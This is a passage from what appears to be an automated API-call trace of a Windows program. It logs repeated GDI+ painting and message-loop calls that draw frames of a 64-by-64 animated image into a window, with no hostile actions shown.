hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.564] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.564] CoTaskMemFree (pv=0x1e91eca0) [0175.564] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.564] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.564] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.565] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.565] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.565] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.565] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.565] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.565] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0175.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.566] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.566] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.566] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.567] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.567] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.567] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.567] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.567] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.567] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.567] GetCurrentObject (hdc=0x8010d30, type=0x1) returned 0x1b00017 [0175.567] GetCurrentObject (hdc=0x8010d30, type=0x2) returned 0x1900010 [0175.567] GetCurrentObject (hdc=0x8010d30, type=0x7) returned 0x1a05067e [0175.568] GetCurrentObject (hdc=0x8010d30, type=0x6) returned 0x18a002e [0175.568] SaveDC (hdc=0x8010d30) returned 1 [0175.568] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x620407c3 [0175.568] GetClipRgn (hdc=0x8010d30, hrgn=0x620407c3) returned 0 [0175.568] SelectClipRgn (hdc=0x8010d30, hrgn=0x32040b8a) returned 2 [0175.568] DeleteObject (ho=0x620407c3) returned 1 [0175.568] DeleteObject (ho=0x32040b8a) returned 1 [0175.568] OffsetViewportOrgEx (in: hdc=0x8010d30, x=0, y=0, lppt=0x2759630 | out: lppt=0x2759630) returned 1 [0175.568] GetNearestColor (hdc=0x8010d30, color=0xffffff) returned 0xffffff [0175.569] CreateSolidBrush (color=0xffffff) returned 0x3a100190 [0175.569] FillRect (hDC=0x8010d30, lprc=0x15d7c0, hbr=0x3a100190) returned 1 [0175.569] DeleteObject (ho=0x3a100190) returned 1 [0175.569] RestoreDC (hdc=0x8010d30, nSavedDC=-1) returned 1 [0175.569] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.569] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x8010d30) returned 0x0 [0175.569] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb720dbd) returned 0x0 [0175.569] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.569] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0175.569] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.570] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.570] GetSystemMetrics (nIndex=42) returned 0 [0175.570] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.570] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.570] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.570] CoTaskMemFree (pv=0x1e91eca0) [0175.570] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.570] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.570] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.570] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.570] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x8010d30, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.571] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.571] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x8010d30) returned 0x0 [0175.571] SelectObject (hdc=0x8010d30, h=0x185000f) returned 0x1a05067e [0175.571] DeleteDC (hdc=0x8010d30) returned 1 [0175.571] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.571] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.571] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.571] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.571] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.571] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.571] WaitMessage () returned 1 [0175.691] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.691] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.691] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.691] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.691] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.692] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.692] GetCurrentThreadId () returned 0xec0 [0175.692] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.692] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.692] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.692] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.692] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.692] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.692] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.692] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.693] CreateCompatibleDC (hdc=0x2d010b73) returned 0x20010bc1 [0175.693] SelectObject (hdc=0x20010bc1, h=0x1a05067e) returned 0x185000f [0175.693] GdipCreateFromHDC (hdc=0x20010bc1, graphics=0x15daf0) returned 0x0 [0175.693] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.693] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.693] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.693] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.693] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.693] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.693] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.694] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.694] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.694] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.694] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.694] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0175.694] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.695] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.695] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.695] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.695] GetSystemMetrics (nIndex=42) returned 0 [0175.695] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.695] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.695] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.695] CoTaskMemFree (pv=0x1e91eca0) [0175.695] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.695] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.695] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.695] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.695] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.696] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.696] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.696] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.696] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.696] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0175.696] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.696] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.697] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.697] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.697] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.697] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.697] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.697] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.697] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.697] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.698] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.698] GetCurrentObject (hdc=0x20010bc1, type=0x1) returned 0x1b00017 [0175.698] GetCurrentObject (hdc=0x20010bc1, type=0x2) returned 0x1900010 [0175.698] GetCurrentObject (hdc=0x20010bc1, type=0x7) returned 0x1a05067e [0175.698] GetCurrentObject (hdc=0x20010bc1, type=0x6) returned 0x18a002e [0175.699] SaveDC (hdc=0x20010bc1) returned 1 [0175.699] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x33040b8a [0175.699] GetClipRgn (hdc=0x20010bc1, hrgn=0x33040b8a) returned 0 [0175.699] SelectClipRgn (hdc=0x20010bc1, hrgn=0x630407c3) returned 2 [0175.699] DeleteObject (ho=0x33040b8a) returned 1 [0175.699] DeleteObject (ho=0x630407c3) returned 1 [0175.699] OffsetViewportOrgEx (in: hdc=0x20010bc1, x=0, y=0, lppt=0x2759f68 | out: lppt=0x2759f68) returned 1 [0175.699] GetNearestColor (hdc=0x20010bc1, color=0xffffff) returned 0xffffff [0175.699] CreateSolidBrush (color=0xffffff) returned 0x3b100190 [0175.700] FillRect (hDC=0x20010bc1, lprc=0x15d7c0, hbr=0x3b100190) returned 1 [0175.700] DeleteObject (ho=0x3b100190) returned 1 [0175.700] RestoreDC (hdc=0x20010bc1, nSavedDC=-1) returned 1 [0175.700] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.700] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010bc1) returned 0x0 [0175.700] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb700dbd) returned 0x0 [0175.700] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.700] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0175.700] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.700] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.700] GetSystemMetrics (nIndex=42) returned 0 [0175.700] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.700] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.700] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.701] CoTaskMemFree (pv=0x1e91eca0) [0175.701] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0175.703] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.703] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.703] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.703] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.703] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x20010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.703] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.703] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010bc1) returned 0x0 [0175.703] SelectObject (hdc=0x20010bc1, h=0x185000f) returned 0x1a05067e [0175.703] DeleteDC (hdc=0x20010bc1) returned 1 [0175.703] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.704] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.704] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.704] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.704] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.704] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.704] WaitMessage () returned 1 [0175.816] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.816] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.816] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.816] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.816] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.816] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.816] GetCurrentThreadId () returned 0xec0 [0175.816] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.816] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.816] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.816] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.816] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.816] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.816] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.817] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.817] CreateCompatibleDC (hdc=0x2d010b73) returned 0x21010bc1 [0175.817] SelectObject (hdc=0x21010bc1, h=0x1a05067e) returned 0x185000f [0175.817] GdipCreateFromHDC (hdc=0x21010bc1, graphics=0x15daf0) returned 0x0 [0175.817] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.817] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.817] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.817] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.817] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.818] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.818] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.818] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.818] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.818] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.818] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.819] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0175.819] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.819] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.819] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.819] GetSystemMetrics (nIndex=42) returned 0 [0175.819] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.819] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.819] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.819] CoTaskMemFree (pv=0x1e91eca0) [0175.819] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0175.819] GdipCreateRegion (region=0x15d710) returned 0x0 [0175.819] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0175.820] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0175.820] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0175.820] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0175.820] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.820] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.820] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.820] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0175.821] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.821] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0175.821] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.821] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.821] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0175.821] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0175.821] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0175.822] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0175.822] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.822] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0175.822] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0175.822] GetCurrentObject (hdc=0x21010bc1, type=0x1) returned 0x1b00017 [0175.822] GetCurrentObject (hdc=0x21010bc1, type=0x2) returned 0x1900010 [0175.822] GetCurrentObject (hdc=0x21010bc1, type=0x7) returned 0x1a05067e [0175.822] GetCurrentObject (hdc=0x21010bc1, type=0x6) returned 0x18a002e [0175.822] SaveDC (hdc=0x21010bc1) returned 1 [0175.823] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x640407c3 [0175.823] GetClipRgn (hdc=0x21010bc1, hrgn=0x640407c3) returned 0 [0175.823] SelectClipRgn (hdc=0x21010bc1, hrgn=0x34040b8a) returned 2 [0175.823] DeleteObject (ho=0x640407c3) returned 1 [0175.823] DeleteObject (ho=0x34040b8a) returned 1 [0175.823] OffsetViewportOrgEx (in: hdc=0x21010bc1, x=0, y=0, lppt=0x275b260 | out: lppt=0x275b260) returned 1 [0175.823] GetNearestColor (hdc=0x21010bc1, color=0xffffff) returned 0xffffff [0175.823] CreateSolidBrush (color=0xffffff) returned 0x3c100190 [0175.823] FillRect (hDC=0x21010bc1, lprc=0x15d7c0, hbr=0x3c100190) returned 1 [0175.823] DeleteObject (ho=0x3c100190) returned 1 [0175.824] RestoreDC (hdc=0x21010bc1, nSavedDC=-1) returned 1 [0175.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.824] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010bc1) returned 0x0 [0175.824] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb6e0dbd) returned 0x0 [0175.824] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.824] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0175.824] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.824] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.824] GetSystemMetrics (nIndex=42) returned 0 [0175.824] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0175.824] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0175.824] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0175.824] CoTaskMemFree (pv=0x1e91eca0) [0175.824] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0175.824] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0175.824] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0175.825] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0175.825] BitBlt (hdc=0x2d010b73, x=0, y=0, cx=64, cy=64, hdcSrc=0x21010bc1, x1=0, y1=0, rop=0xcc0020) returned 1 [0175.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.825] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x21010bc1) returned 0x0 [0175.825] SelectObject (hdc=0x21010bc1, h=0x185000f) returned 0x1a05067e [0175.825] DeleteDC (hdc=0x21010bc1) returned 1 [0175.825] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.825] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0175.825] SelectPalette (hdc=0x2d010b73, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0175.825] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0175.825] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.825] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0175.825] WaitMessage () returned 1 [0175.946] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.946] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.946] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.946] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.947] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.947] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0175.947] GetCurrentThreadId () returned 0xec0 [0175.947] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0175.947] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0175.947] IsWindowUnicode (hWnd=0x2031e) returned 1 [0175.947] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0175.947] TranslateMessage (lpMsg=0x15e910) returned 0 [0175.947] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0175.947] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x2d010b73 [0175.947] SelectPalette (hdc=0x2d010b73, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0175.948] CreateCompatibleDC (hdc=0x2d010b73) returned 0x22010bc1 [0175.949] SelectObject (hdc=0x22010bc1, h=0x1a05067e) returned 0x185000f [0175.949] GdipCreateFromHDC (hdc=0x22010bc1, graphics=0x15daf0) returned 0x0 [0175.949] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0175.949] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0175.949] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0175.950] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0175.950] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0175.950] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0175.950] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0175.950] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0175.951] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0175.951] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0175.951] GdipCreateRegion (region=0x15dc20) returned 0x0 [0175.951] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0175.951] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0175.951] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0175.951] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0175.951] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0175.951] GetSystemMetrics (nIndex=42) returned 0 [0175.951] CoTaskMemAlloc (cb=0x6) returned 